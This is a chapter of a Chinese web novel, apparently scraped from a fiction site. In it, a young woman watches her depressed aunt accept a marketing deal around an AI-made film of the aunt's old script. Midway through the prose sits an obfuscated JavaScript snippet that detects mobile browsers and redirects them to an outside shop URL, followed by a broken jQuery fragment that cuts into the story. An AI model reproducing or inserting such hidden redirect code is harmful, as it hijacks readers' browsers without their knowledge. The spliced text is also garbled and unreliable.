文趣网 > 其他小说 > 冒名之恋 > 26. 第026章
    当天晚上又出了一件事。

    许者清在二楼一个人看综艺,偷偷拆了一袋五花肉味薯片。就那么一小袋,她给自己做了半分钟不会长胖的心理建设,才撕开包装口子。

    姨妈没有敲门,直接在门外喊了她一声:“清清——”

    怕门口站着的是母亲,许者清飞快地把薯片塞到床头柜抽屉里,起身开门。

    门口是姨妈,板寸,青灰色的发茬贴着头皮,藏蓝色的布衣领口松垮垮的。

    来景江这两天,许者清一直在观察。

    网上关于这种病的分享她看了很多——对喜欢的事失去兴趣,失眠,莫名想哭,甚至想死……

    这些她都知道,可当一个真正得了抑郁症的人站在面前时,她反而看不出所以然。

    姨妈似乎还是那个姨妈,说一不二,勇敢生猛。

    但她知道有些东西一定在姨妈身体里发生着。她不知道那是什么感觉,就算姨妈不说,也一定不好受。

    她盯着姨妈多看了一眼。

    “愣什么?”

    姨妈笑了一下,走进来,拉了椅子坐下,掏出手机,点了几下:“我传一些资料给你。”

    许者清没多想,按照要求打开蓝牙。文件传过来,她点开看了看,是她们之前的聊天记录,还有一些工作文档。

    点开其中一个,她扫了一眼:“这不就是咱俩之前的对话吗?”

    “放你这里备一份。”

    许者清注意到里面的顺序不太对,不是按时间排的,有几条旧对话穿插在新对话中间。

    “姨妈,这里头的内容怎么看起来不对头?”

    姨妈抿着嘴,笑意停在脸上,没有多解释。“你一定要收好。最好放在U盘里存一份。”

    “云端备份不行吗?”

    “听我的。”

    许者清没有再问。她也不是完全不奇怪,只是传个资料而已,又是自己姨妈,那点奇怪还不足以追着问。

    “你有U盘或者移动硬盘吗?要不要我给你一个?”姨妈问。

    “不用,我有,带过来了。”

    姨妈的目光从她脸上移开,落在窗帘上。风吹进来,窗帘鼓了一下,又落下去。

    她伸手摸了摸自己的头顶,顺着平头捋了一把。

    “你不是说想存退休金吗?一百万不够的。”

    许者清笑了:“我随便说的。一百万肯定不够,但有了这个数字,算是有个基石,可以随便辞职,有安全感嘛。”

    姨妈看着她,没有再说什么。

    楼下传来母亲的声音,隔着浴室里闷闷的水声,大喊:“许者清!许者清!有人敲门!你们快下来开门!”

    许者清下楼。姨妈跟在后面。

    门又响了一声。

    她拉开门。

    看见那张脸,心里沉了一下。

    “你又来干什么?”

    邬陈奕没有接话,也没有接她的眼神。目光越过她,落向身后的葛颖超。

    葛颖超点了点头,像是早就知道他会来。

    许者清往邬陈奕身后看了一眼。

    一个女人站在他后面。黑色短裙,白色镶边,挽着小发髻。

    她正看着许者清,目光是一种直白的审视。

    许者清没有避开,迎上去。那女人没有退让,把眼神的力度更硬了几分。

    许者清心里有了数,这人肯定有来头。

    葛颖超已经拿上小包,装着钥匙和手机,走到门口。

    门外是七八点的光景。远处有广场舞的声音。

    不远处的楼下,麻将馆的灯光从旁边铺出来,照亮半边广场。

    许者清拉住了姨妈的胳膊。

    “姨妈,你现在是个病人,不能单独行动。”

    葛颖超笑着拉下她的手:“没事,我去去就回,谈点事儿。”

    邬陈奕站在门口,没有催促,也没有说话。A姐在他身后,看起来有些不耐烦。

    “那你一起吧。”邬陈奕说了一句。

    许者清瞥他一眼。一起就一起。

    她低头看了自己一眼,宽松娃娃衫式的真丝睡衣,上面布满小小的雏菊。幸好带胸垫,不算暴露。现在上去换衣服,又要让别人等。

    她心一横,就这样出了门。

    邬陈奕带着她们穿过一楼的底商。门口是个麻将室,他们穿过去,轰隆隆的洗牌声和人声从两侧涌来。

    走到最里面,有一间小房间。推开门,里面也是一张麻将桌。

    四个人坐下来,各占一边。邬陈奕坐她对面。葛颖超坐她左手边。A姐坐她右手边。

    许者清环顾一圈。看来,只有她不知道今晚要谈什么。

    桌面上散落着几块麻将牌。她摸起桌上一个“发财”,在指间转了起来。

    邬陈奕先开口。

    “您最早写过一个剧本,后来改成小说,叫《风听见》。您把它放在网上免费授权了,您记得吧?”

    葛颖超点头:“记得。”

    “现在AI很热。有团队用您那个授权的剧本做了个小电影,效果很惊艳。片段已经发出来了。就算我们不推流,应该也能小火。如果我们推,大概率会出圈大爆。”

    葛颖超没有接话,用眼神示意他继续。

    “到时候您的舆论会翻转。网友最喜欢有反转的故事。您之前是被唱衰的剧本混子,反转以后,您就不再是混子,您只是一个有情怀的创作者,被行业拖累了。”

    “大家为什么爱看吐槽影视行业的视频?因为不公平。既得利益者占着位置,有本事的人出不了头。您的这个故事正好踩在这条情绪点上。”

    许者清的手停住,那块“发财”从她指间滑落,磕在桌面。

    葛颖超面色不变:“你想怎么做?”

    “营销公司我已经联系好了。方案和稿子我都看过。随时可以启动。你的口碑,我们会全力拉回来。”

    葛颖超没有马上回答。她垂下眼睛,沉默了几秒钟。

    A姐等不住了,开口道:“那您就有流量了。流量就是钱。”

    葛颖超闭了一下眼睛。再睁开时,她苦笑了一下。

    “不瞒你们说,我有抑郁症。活着本身对我来说,比钱重要。我怕我没命享受这个流量。当初就是这些东西,把我整个人都搅得一塌糊涂。”

    许者清附和着点头。

    A姐的脸色变了一下,她看向邬陈奕。

    邬陈奕没有慌。他看着葛颖超,说了一句:“你还年轻。不至于。您的生命力顽强得很。”

    他说完,闭上了嘴。

    隔壁洗牌的声音哗啦哗啦,隔着墙传过来。

    葛颖超抬起眼皮看了他一眼,又垂下去。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17659608|205463||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    许者清的目光一直钉在姨妈脸上。几句话就能被说动的人,可能是任何人,但不会是葛颖超。

    她正要开口。

    葛颖超说话了。

    “行,我答应你。合同发过来,我签。”

    说完,她站起来,拉起许者清的手:“不早了,我们要回去休息了。”

    许者清还在震惊当中,被她拉着往外走,没反应过来。就这样穿过麻将室,穿过轰隆隆的洗牌声,走到外面。

    她偏头看了姨妈一眼。

    姨妈整个人似乎都松快了起来。

    刚才还说活着比钱重要的人,一答应,步子都轻了。

    “走啊。”姨妈拽了一下她的手。

    许者清慢了半拍,跟上去。

    走出去几步,她回头瞥了一眼。

    邬陈奕和那个女人还站在麻将室门口的灯下。他偏着头在听她说话,姿态比平时低了半分。

    他没有看她。

    许者清把头转回来,跟着姨妈往前走。

    树影,月光,晚风。

    广场舞,烧烤,小孩小猫小狗。

    没有车流,没有人赶路。

    路灯底下坐着几个摇扇子的大爷。

    这里有一种闲适的慢。

    姨妈仰起头,张开手臂,吸了一口气。

    “活着真好!”

    许者清看着她,依然很疑惑。明明刚才还在说活着比钱重要,为什么一答应邬陈奕说的那些事,整个人便像是换了个人。

    葛颖超转过头来,看见她的表情,笑了。

    “哎呀,别这么看我。我现在感觉sogood。”

    “那个邬陈奕,”她说,“上次见他,觉得不像那种娱乐圈的人。有文化,有分寸,也谦虚。今天一看,是我把他想简单了。”

    “姨妈,你到底怎么回事?”

    “没怎么回事呀,我要玩转人间。”

    两人沉默地走了一程,手不知不觉挽到了一处。

    经过一片广场舞的人群时,一个剃着光头的小男孩正跟在边缘起舞。约莫五六岁年纪,踩着《最炫民族风》的节拍,叉腰、摆手、转圈,每一步都踏得极准,嘴里还跟着哼唱。

    葛颖超忽然笑起来,拉着许者清跑过去,合着那孩子的节奏舞动。许者清被她拽着,也一同跳了起来。

    小孩的节奏被她们打乱了。他停下来,低头看了看自己的脚,又抬头瞪了她们一眼,生气地跺了一下脚,跑了。

    两个人大笑。

    许者清的手机响了。

    葛莹强在电话那头吼:“让你开个门,你们两个人全跑了!不要让我担心!我数三二一——”

    许者清和葛颖超同时对着话筒喊了一声:“遵命!”

    挂掉电话,许者清看了姨妈一眼。

    葛颖超还在笑,嘴角没收住。

    许者清张了张嘴,又闭上了。问不出来,也管不了。

    一个是姨妈,一个是她妈。

    葛家“超强”组合,谁与争锋!

    接过姨妈手里自己的手机,她笑盈盈地问了一句:“妈,你饿不饿,要不要吃宵夜?烤肉筋可以不?三十串够你吧。”

    可就在那笑意盈盈的瞬间,许者清脑海里忽然闪过男人的脸——当她说“不喜欢邬陈奕”时,他脸上那抹如释重负的笑。